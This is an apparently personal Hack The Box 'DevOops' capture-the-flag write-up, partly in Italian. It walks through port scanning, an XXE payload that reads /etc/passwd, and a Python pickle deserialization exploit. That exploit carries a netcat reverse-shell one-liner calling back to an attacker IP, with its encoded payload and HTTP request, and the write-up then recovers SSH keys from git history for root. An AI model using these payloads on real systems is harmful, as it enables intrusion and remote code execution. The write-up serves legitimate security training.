HTB - DevOops

1 Enumeration

1.1 nmap

1.1.1 nmap -sC -sV devoops


Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-10 21:17 CEST
Nmap scan report for devoops (10.129.1.79)
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA)
|   256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA)
|_  256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519)
5000/tcp open  http    Gunicorn 19.7.1
|_http-server-header: gunicorn/19.7.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.30 seconds

1.1.2 nmap -p- devoops

PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

1.2 gobuster

1.2.1 gobuster dir -u http://devoops:5000 -w ~/repos/wordlists


===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://devoops:5000
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /home/leo/repos/wordlists/dirbuster/directory-list-2.
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              py,txt
[+] Timeout:                 10s
===============================================================
2022/07/10 21:21:59 Starting gobuster in directory enumeration mode
===============================================================
/feed                 (Status: 200) [Size: 546263]
/upload               (Status: 200) [Size: 347]   
Progress: 5346 / 661683 (0.81%)                  ^C
[!] Keyboard interrupt detected, terminating.
                                                  
===============================================================
2022/07/10 21:24:13 Finished
===============================================================

1.3 gunicorn (5000)

1.3.1 /upload (valid request)

POST /upload HTTP/1.1
Host: devoops:5000
Content-Length: 322
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://devoops:5000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAbyCHHPcoGSnK7GH
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://devoops:5000/upload
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundaryAbyCHHPcoGSnK7GH
Content-Disposition: form-data; name="file"; filename="prova.xml"
Content-Type: text/xml

<?xml  version="1.0" encoding="ISO-8859-1"?>
<body>
<Author> test </Author>
<Subject> test </Subject>
<Content> test </Content>
</body>

------WebKitFormBoundaryAbyCHHPcoGSnK7GH--

La risposta del server è stata

HTTP/1.1 200 OK
Server: gunicorn/19.7.1
Date: Sun, 10 Jul 2022 19:29:58 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 157

 PROCESSED BLOGPOST: 
  Author:  test 
 Subject:  test 
 Content:  test 
 URL for later reference: /uploads/prova.xml
 File path: /home/roosa/deploy/src

Come possiamo vedere in particolare c'è un path locale

    /home/roosa/deploy/src

1.3.2 valid xml format

<?xml  version="1.0" encoding="ISO-8859-1"?>
<body>
<Author> test </Author>
<Subject> test </Subject>
<Content> test </Content>
</body>

1.3.3 valid xxe payload

Con questo payload siamo in grado di ottenere una LFI.

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<body>
<Author> &ent; </Author>
<Subject> test </Subject>
<Content> test </Content>
</body>

The code that processes this XXE is the following one

def process_xml(filename, path):
  parser = xml.sax.make_parser()
  object = {}
  handler = FeedParse(object)
  parser.setContentHandler(handler)
  parser.parse(open(filename))
#  print object
  return " PROCESSED BLOGPOST: \r\n " + \
         " Author: " + object["Author"] + "\r\n" + \
         " Subject: " + object["Subject"] + "\r\n" + \
         " Content: " + object["Content"] + "\r\n" + \
         " URL for later reference: " + url_for('uploaded_file',filename=filename) + "\r\n" + \
         " File path: " + path

1.3.4 feed.py

def uploaded_file(filename):
    return send_from_directory(Config.UPLOAD_FOLDER, filename)

@app.route("/")
def xss():
    return template('index.html')

@app.route("/feed")
def fakefeed():
   return send_from_directory(".","devsolita-snapshot.png")

@app.route("/newpost", methods=["POST"])
def newpost():
  # TODO: proper save to database, this is for testing purposes right now
  picklestr = base64.urlsafe_b64decode(request.data)
#  return picklestr
  postObj = pickle.loads(picklestr)
  return "POST RECEIVED: " + postObj['Subject']


# TODO: VERY important! DISABLED THIS IN PRODUCTION
#app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')
# TODO: Replace run-gunicorn.sh with real Linux service script
# app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')

if __name__ == "__main__":
  app.run(host='0.0.0,0', Debug=True)

1.3.5 exploit pickle

Nel file feed.py possiamo vedere l'endpoint newpost che in particolare chiama la funzione pickle.loads() con un input non sanificato su cui abbiamo il controllo.

@app.route("/newpost", methods=["POST"])
def newpost():
  # TODO: proper save to database, this is for testing purposes right now
  picklestr = base64.urlsafe_b64decode(request.data)
#  return picklestr
  postObj = pickle.loads(picklestr)
  return "POST RECEIVED: " + postObj['Subject']

Per attaccare questa cosa possiamo creare un oggetto python malevolo serializzandolo nel seguente modo

class exploit(object):
    def __reduce__(self):
        payload = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/bin/nc 10.10.14.53 4321 >/tmp/f"
        return (os.system, (payload,))
        
print(urlsafe_b64encode(pickle.dumps(exploit())))

che ritorna

Y3Bvc2l4CnN5c3RlbQpwMAooUydybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMXwvYmluL25jIDEwLjEwLjE0LjUzIDQzMjEgPi90bXAvZicKcDEKdHAyClJwMwou

A questo punto, inviando la seguente richiesta HTTP siamo in grado di ottenere una reverse shell

POST /newpost HTTP/1.1
Host: devoops:5000
Content-Length: 156
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://devoops:5000
Content-Type: text
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://devoops:5000/upload
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Y3Bvc2l4CnN5c3RlbQpwMAooUydybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMXwvYmluL25jIDEwLjEwLjE0LjUzIDQzMjEgPi90bXAvZicKcDEKdHAyClJwMwou

2 PrivEsc

2.1 roosa

2.1.1 id_rsa

In /home/roosa/.ssh/id_rsa è presente la chiave privata RSA dell'utente roosa

Per utilizarla occorre eseguire

    chmod 600 id_rsa

2.2 root flag

L'idea era quella di andare nella cartella /home/roosa/work/blogfeed e vedere il file .git. Facendo git log potevamo vedere i seguenti commit

commit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Mon Mar 19 09:33:06 2018 -0400

    reverted accidental commit with proper key

commit d387abf63e05c9628a59195cec9311751bdb283f
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Mon Mar 19 09:32:03 2018 -0400

    add key for feed integration from tnerprise backend

commit 1422e5a04d1b52a44e6dc81023420347e257ee5f
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Mon Mar 19 09:24:30 2018 -0400

    Initial commit

Andando indietro al commit

   d387abf63e05c9628a59195cec9311751bdb283f

con il seguente comando

git checkout d387abf63e05c9628a59195cec9311751bdb283f

e andando a vedere il file

   /home/roosa/work/blogfeed/resources/integration/authcredentials.key

otteniamo la seguente chiave RSA

Che è proprio la chiave dell'utente root.